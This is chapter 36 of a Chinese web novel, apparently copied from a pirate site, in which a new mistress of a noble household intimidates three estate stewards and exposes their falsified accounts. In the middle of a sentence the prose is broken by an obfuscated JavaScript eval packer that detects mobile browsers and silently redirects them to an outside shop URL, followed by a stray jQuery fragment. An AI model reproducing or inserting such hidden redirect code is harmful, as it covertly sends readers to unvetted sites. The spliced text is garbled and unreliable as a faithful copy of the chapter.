36. 第36章
    沙弥提供的线索很有限,南絮也只能遣人去京都各个鱼龙混杂之地找找。

    几日无果,玉茗也没有好转的迹象,她心里未免有些烦躁。

    眼看着要入秋了,京都的天气渐渐转凉,府里的几个大管事带着人抬着账册来静园给南絮请安,请她过目。

    她本想让他们再等等,转头又觉得正好给自己找点事做,这样自己才不会老想那些不好的事。

    便让春芽请管事们在花厅等候。

    说起来,对账该等到年下,这个时候来,南絮隐约能猜到几分。

    一来伯府添了新主母,他们该来拜见;二来,她嫁过来之初在伯府立威的事,怕是早就传到这些人耳中,有些人或许只是本分地想混口饭吃,可有些人就未必了。

    这次陪着管事们来的不是刘回,是个脸生的小厮,见到南絮进来,忙一一为南絮介绍。

    南絮放眼看去,花厅里站着的总共有三人。

    见她进来,急忙起身相迎的是打理京都各处铺子的孙管事,这人个子不高,笑起来满脸和气,南絮朝他回予一笑。

    站在另外一边长得高挑的那个干瘦老头是打理各处来往运输的李管事,他眼里精光乍现,看了南絮一眼转头去看旁边打理田庄的钱管事。

    从门口进来到上首坐下,南絮心里已经有了几分底。

    钱管摸着自己滚圆的肚皮,带着其他二人朝着南絮拱手请安。

    南絮说不必多礼,让丫鬟们看茶。

    茶叶被滚烫的沸水冲泡开,在青花点缀的瓷碗里旋转绽放,孙管事端起茶盏用茶盖刮了刮,浅尝了口,赞一声好茶。

    “夫人,这用的可是积年的雨水冲泡的?”

    南絮点头,笑着道:“早就听说孙管事是品茶高手,如今一看,连水的来处都能随口道出,果然名不虚传。”

    孙管事闻言,笑意更甚,连连道夫人谬赞了。

    钱李二人见他如此,也不好干看着,端起来喝一回,附和着赞一回。

    一时间,花厅里初次见面的几人倒也其乐融融。

    他们来,自然不单是来喝茶的,李管事放下茶盏,轻咳了声,朝着钱管事挤了挤眼睛。

    钱管事接受到他的讯号,嘴角的笑意淡了些。

    南絮不动声色地观察,抚着腕上的玉镯,等他们开口。

    “夫人。”钱管事朝着上首唤了声,起身道,“今个我们三个来的突然,还请夫人别见怪。府里的规矩一直都是我们几个各管各的,年下和刘总管对账就成,如今夫人来了,又接了管家之权,我们不敢怠慢,忙整理了各处的账目,提前送来给夫人过目。一来是想请夫人视下,二来也是请夫人核对核对账目,若有什么不对的地方,任凭夫人差遣;三来,夫人和伯爷大喜,我三人皆在外忙碌,也没给夫人庆贺,今个也借着这个机会准备了份薄礼,请夫人笑纳。”

    钱管事说完,便有几个小厮从外面抬进来一个蒙着红布的物什,虽看不见里面是什么,想来个头不小。

    不待南絮发话,钱管事便揭开了红布,花厅里瞬间映出一片绚丽的红光,饶是南絮见惯了好东西,还是被眼前的东西惊艳了一把。

    那是件半人高的珊瑚石榴摆件,石榴雕刻的栩栩如生,就连下面连着的茎叶纹理也是丝丝分明。

    珊瑚她见过不少,但这么大的,雕工这么好的,几乎无瑕疵的的还是头一次见。

    南絮流连了片刻,淡淡笑道:“这么好的东西,找寻起来也是不容易,三位管事有心了。”

    话音刚落,一直没说话的李管事忙站了出来回道:“送夫人的自然要最好的,就是再费些功夫,我也能给夫人寻来。”

    听说如今好多商船都能远渡重洋,他是跑各处往来运输的,这东西十有八九就是他淘来的,南絮颔首,收如此重礼,她自然也要有所表示。

    春芽拿出几个沉甸甸的荷包递给他们三人,他们见钱见惯了,倒很能稳得住。

    礼也送了,三人正待和南絮说正事,门外又进来三个丫鬟,只见她们三人围着那座珊瑚摆件,用绳子量了高低的尺寸,又有人拿出个小册子一一记录。

    竟是把钱孙李三人看呆了。

    头一次见这种情形,钱孙二人面面相觑,不免揣揣,暗道南絮是觉得这礼不合心意?故意给他们难堪?

    唯有孙管事瞧了片刻,直言不讳问南絮可是有什么地方不妥。

    南絮笑着摆手,解释道:“不瞒各位管事,我这儿有个规矩,不管谁送的什么金石玉器,入库前都得一一量了尺寸再入库,记录清楚哪年哪月,哪家送的,也好有个记录,方便后日清点。”

    说到此,看几人面上依旧不解,她掩唇继续道:“说来,也是之前在候府养成的习惯了。说出来不怕各位管事笑话,之前我身边有个管事的嬷嬷,仗着自己积年的老人,又得了我的重用,便很把自己当回事。也不知哪天灌了几口黄汤,便胆子大起来,悄悄偷了我几件首饰拿出去卖了,也是我那时年岁小,满匣子的金玉之器也不曾留心少没少,一来二去,这嬷嬷只当我是个好欺负的,愈发偷上了瘾,竟将太妃赏我玩的一件黄玉玉兰也偷出去卖了,皇家之物向来有登记造册,最后东窗事发,她落了个亵渎皇家之物的罪名,被乱棍打死了。”

    ‘乱棍打死’四个字从她嘴里轻飘飘地说出来,让坐在下首的三人背后都起了层凉意。

    松果已经记录好了,拿给南絮过目,南絮翘着保养得宜的指甲点了点册子上珊瑚石榴几个字,看着他们三人笑意又深了些,“自那以后,我便找了这个法子,虽费些事,但总比下头的人监守自盗,我还浑然不知强。”

    “三位管事也是外面跑惯了的人了,你们说,我这法子好不好?”

    这故事乍听没什么,但钱孙李三人都是人精,哪里不明白南絮的意思。

    自古涉及钱财田铺庄子,那便是实实在在看得见的金银,又有几人在钱帛面前不动心的。

    南絮初来乍到,既是在提点他们别因为她是新夫人便想着忽

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13438245|141198||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    悠搪塞她,又是想告诉他们,她的身份和手段,都不会轻易放过那些别有用心之人。

    一个偷盗财物的婆子尚且被打死,他们这样的犯了事,又怎会轻易放过。

    三人中,孙管事常年接触金银玉器,自然知道,但凡大家作品,必然在首饰不显眼处留有印章,更何况是宫中御赐之物,那婆子再是吃醉了酒,也不会胆大妄为至此,怕不是南絮知晓后故意为之,如此想,那层凉意转瞬直冲天灵盖,他猛地站起身。

    “这个法子好。就好比铺子里进出货,有了明细,自然就好打理。”

    钱管事见此,也附和道:“可不是,夫人这法子当真是好极,钱某佩服。”

    李管事看了看他两,起身拱了拱手,也道了声好。

    南絮掩着唇笑,把册子交给了松果,“既然三位管事都说好,那必然是好的。这礼我看也看了,记也记了,刚才听钱管事说有账目让我过目,刚好我这有管账的丫头,便当着三位管事的面,理理账目吧。”

    说着,她把身边的松果往前推,那两个量尺寸的丫头,也挽起袖子,从耳房拿出笔墨纸砚和算盘,竟是当面理账的意思。

    理账这事说复杂也复杂,说简单也简单。

    各处产业,分季度往伯府里报次账,这些账目会有专门的账房先生核对并对每一处账目进行留底,等到年底汇总账时,把留底的账册算个总数再交叉核对交上来的账册数目,便能一目了然。

    这些工序不说多么繁复冗杂,但也不是件小事,就这几个黄毛丫头,就能当他们的面理账,是不是太草率了。

    南絮一眼就看出他们心中所想,暗道果然如此,这些在外面跑惯了的男人,并不会把眼前的几个丫鬟放在眼里。

    也是,女子能识得几个字已是难得,哪还听说过会算账。

    那尊半人高的珊瑚摆件已经被抬出去了,三个管事都低着头不说话。

    松果几人看向南絮,请她示下,南絮笑得漫不经心,点头示意可以开始。

    几人不再迟疑,去账房搬来上个季度的账册,便开始核对,只见女子指甲修剪得宜,手指麻利地拨弄算盘,偌大的花厅一时间只听得见算盘珠子的‘哒哒’声。

    孙管事虽被南絮的话惊得不轻,但很快注意力就落在了松果那,不一会他眼睛就瞪的溜圆,里面盛满了欣赏和赞叹。

    南絮了然,转头去看另外两个,这二人也紧盯着松果,面上强装镇定,眼里的恐慌和不安稍纵即逝。

    南絮挑了挑眉,看来,有些人是不到黄河不死心。

    不过半柱香的功夫,本来顺畅的算珠击打声突然停了下来,松果皱了皱眉,指着手里的账册,不敢相信地又要再打一遍。

    这一次算盘拨弄的慢了许多,钱李两人脸上的惊恐也愈发藏不住了。

    眼看着复打就要结束了,钱管事终于坐不住,快走几步站到南絮跟前,却不敢与南絮直视。

    他哆嗦着,近乎带着哭腔道:“夫人,我们…错了。”